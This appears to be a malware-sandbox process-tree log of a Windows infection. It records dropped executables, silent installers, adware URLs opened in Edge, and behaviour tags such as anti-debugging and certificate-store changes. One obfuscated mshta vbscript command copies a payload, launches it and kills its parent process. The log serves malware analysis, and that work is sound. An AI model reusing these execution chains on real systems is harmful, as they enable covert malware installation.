C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:29⤵PID:1724
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:39⤵PID:5012
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2768 /prefetch:89⤵PID:4708
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:19⤵PID:7416
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:19⤵PID:7480
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4796 /prefetch:19⤵PID:8064
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3864 /prefetch:19⤵PID:8500
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:19⤵PID:9568
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:19⤵PID:9620
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:89⤵PID:11312
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:89⤵PID:11864
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4652 /prefetch:29⤵PID:5656
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4612 /prefetch:19⤵PID:5112
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4528 /prefetch:19⤵PID:10068
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5808 /prefetch:19⤵PID:11688
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4868 /prefetch:19⤵PID:9144
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:19⤵PID:10996
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,6636469587920088389,1667487390960887483,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5500 /prefetch:19⤵PID:8072
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad8⤵PID:9040
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b47189⤵PID:9956
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18514838⤵PID:9904
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b47189⤵PID:9088
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18515138⤵PID:5840
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b47189⤵PID:8280
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\89-e34a7-1a7-65fb9-47836d7dcd3fa\Tylysudaja.exe"C:\Users\Admin\AppData\Local\Temp\89-e34a7-1a7-65fb9-47836d7dcd3fa\Tylysudaja.exe"7⤵PID:5880
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b0s3bw2c.rpy\GcleanerEU.exe /eufive & exit8⤵PID:10184
-
C:\Users\Admin\AppData\Local\Temp\b0s3bw2c.rpy\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\b0s3bw2c.rpy\GcleanerEU.exe /eufive9⤵PID:6748
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6748 -s 23610⤵
- Program crash
PID:4268
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vp4ys5rd.bvl\installer.exe /qn CAMPAIGN="654" & exit8⤵PID:12152
-
C:\Users\Admin\AppData\Local\Temp\vp4ys5rd.bvl\installer.exeC:\Users\Admin\AppData\Local\Temp\vp4ys5rd.bvl\installer.exe /qn CAMPAIGN="654"9⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:12252 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\vp4ys5rd.bvl\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\vp4ys5rd.bvl\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630507832 /qn CAMPAIGN=""654"" " CAMPAIGN="654"10⤵
- Enumerates connected drives
PID:8372
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gmli3dxa.ea4\any.exe & exit8⤵PID:12208
-
C:\Users\Admin\AppData\Local\Temp\gmli3dxa.ea4\any.exeC:\Users\Admin\AppData\Local\Temp\gmli3dxa.ea4\any.exe9⤵PID:7000
-
C:\Users\Admin\AppData\Local\Temp\gmli3dxa.ea4\any.exe"C:\Users\Admin\AppData\Local\Temp\gmli3dxa.ea4\any.exe" -u10⤵PID:5140
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rgymtavp.fpr\gcleaner.exe /mixfive & exit8⤵PID:12264
-
C:\Users\Admin\AppData\Local\Temp\rgymtavp.fpr\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\rgymtavp.fpr\gcleaner.exe /mixfive9⤵PID:4328
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4328 -s 23610⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5600
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wwo2dmti.ynp\autosubplayer.exe /S & exit8⤵PID:4064
-
-
-
C:\Program Files\Windows Defender Advanced Threat Protection\WMUMSUTBUC\foldershare.exe"C:\Program Files\Windows Defender Advanced Threat Protection\WMUMSUTBUC\foldershare.exe" /VERYSILENT7⤵PID:2816
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ECktS8xzMW3LrovHiHpvy0gD.exe"C:\Users\Admin\Pictures\Adobe Films\ECktS8xzMW3LrovHiHpvy0gD.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3300
-
-
C:\Users\Admin\Pictures\Adobe Films\sTv0Ru6Qdd40koV8ep40teP1.exe"C:\Users\Admin\Pictures\Adobe Films\sTv0Ru6Qdd40koV8ep40teP1.exe"2⤵
- Executes dropped EXE
PID:4596 -
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"3⤵PID:2792
-
C:\Users\Admin\AppData\Local\7021377.exe"C:\Users\Admin\AppData\Local\7021377.exe"4⤵PID:4080
-
-
C:\Users\Admin\AppData\Local\1101862.exe"C:\Users\Admin\AppData\Local\1101862.exe"4⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6808
-
-
C:\Users\Admin\AppData\Local\6347777.exe"C:\Users\Admin\AppData\Local\6347777.exe"4⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:6116 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\6347777.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\6347777.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))5⤵PID:6344
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\6347777.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\6347777.exe" ) do taskkill -f -Im "%~NXZ"6⤵PID:6208
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "6347777.exe"7⤵
- Kills process with taskkill
PID:3592
-
-
-
-
-
C:\Users\Admin\AppData\Local\8426701.exe"C:\Users\Admin\AppData\Local\8426701.exe"4⤵
- Suspicious behavior: SetClipboardViewer
PID:4388
-
-
C:\Users\Admin\AppData\Local\5270474.exe"C:\Users\Admin\AppData\Local\5270474.exe"4⤵PID:2816
-
-
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"3⤵PID:6368
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6368 -s 2964⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2360
-
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6716
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"3⤵PID:1124
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"3⤵PID:5960
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5960 -s 2964⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6976
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"3⤵PID:2552
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"3⤵PID:6904
-
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"3⤵PID:6656
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"3⤵
- Loads dropped DLL
PID:4624
-
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"3⤵PID:7076
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 7076 -s 22684⤵
- Program crash
PID:7060
-
-
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"3⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:1628
-
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"3⤵PID:5852
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5852 -s 22724⤵
- Program crash
PID:2368
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\u441lgwhPCuZAE5fAfsAMoFK.exe"C:\Users\Admin\Pictures\Adobe Films\u441lgwhPCuZAE5fAfsAMoFK.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5548 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5548 -s 19403⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6952
-
-
-
C:\Users\Admin\Pictures\Adobe Films\vjQOan4v6lH95dp3dgNFrLs1.exe"C:\Users\Admin\Pictures\Adobe Films\vjQOan4v6lH95dp3dgNFrLs1.exe"2⤵
- Executes dropped EXE
PID:5788 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 2763⤵
- Program crash
PID:6952
-
-
-
C:\Users\Admin\Pictures\Adobe Films\KtY3PmQXF1psXmDJExEzJMzL.exe"C:\Users\Admin\Pictures\Adobe Films\KtY3PmQXF1psXmDJExEzJMzL.exe"2⤵
- Loads dropped DLL
PID:6272 -
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=13⤵PID:1948
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"4⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1540 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x210,0x214,0x218,0x1ec,0x21c,0x7ffcc554dec0,0x7ffcc554ded0,0x7ffcc554dee05⤵
- Loads dropped DLL
PID:7440
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1552 /prefetch:25⤵
- Loads dropped DLL
PID:8096
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=1940 /prefetch:85⤵
- Loads dropped DLL
PID:8344
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=2244 /prefetch:85⤵
- Loads dropped DLL
PID:8524
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2436 /prefetch:15⤵
- Loads dropped DLL
PID:8652
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=1988 /prefetch:15⤵PID:8768
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2744 /prefetch:25⤵PID:8892
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=1568 /prefetch:85⤵PID:8900
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=3720 /prefetch:85⤵PID:11488
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=2052 /prefetch:85⤵PID:8008
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,17185461321528458044,15842165605649875904,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1540_1130809787" --mojo-platform-channel-handle=3424 /prefetch:85⤵PID:8160
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 476 -ip 4761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:964
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 4756 -ip 47561⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6544
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5920 -ip 59201⤵PID:6616
-
